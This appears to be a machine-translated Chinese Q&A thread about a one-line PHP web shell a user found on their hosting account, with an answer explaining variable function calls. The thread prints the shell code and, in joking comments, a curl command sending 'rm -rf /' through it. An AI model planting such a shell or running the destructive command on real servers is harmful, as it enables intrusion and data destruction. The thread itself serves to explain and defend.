刚刚发现恶意PHP代码

我在我的托管帐户上发现恶意php文件，代码如下：

<?=$_GET[0]($_POST[1]);?>

请帮助我更好地理解这段代码，这段代码上传的可能性是什么

提前谢谢

$func = 'strlen';
$arg  = 'foo';

echo $func($arg); // output: 3

您看到的是一个变量函数调用。就在您的例子中，函数名来自URL中的查询字符串和HTTP POST正文中的参数。因此，这可以执行任何操作。可能有人会尝试使用它通过

exec

执行shell代码

例如：

---

（不是100%确定这样做可以做到，我也不想尝试，但你明白了。）

很好的一个deceze+1我认为最好在示例中明确地写出真正的利用潜力，例如“系统”和“rm-rf/”。不管怎么说，这对大多数人来说都很清楚，但再清楚也无济于事。仍然+1表示正确。@deceze，nooooooo永远不要尝试这个。但是如果你想清理你的硬盘，你应该使用

infected_file.php？0=exec-d'rm%20 rf%20/'

（只需同时给予php root权限：P）

$ curl example.com/infected_file.php?exec -d 'rm%20-rf%20/'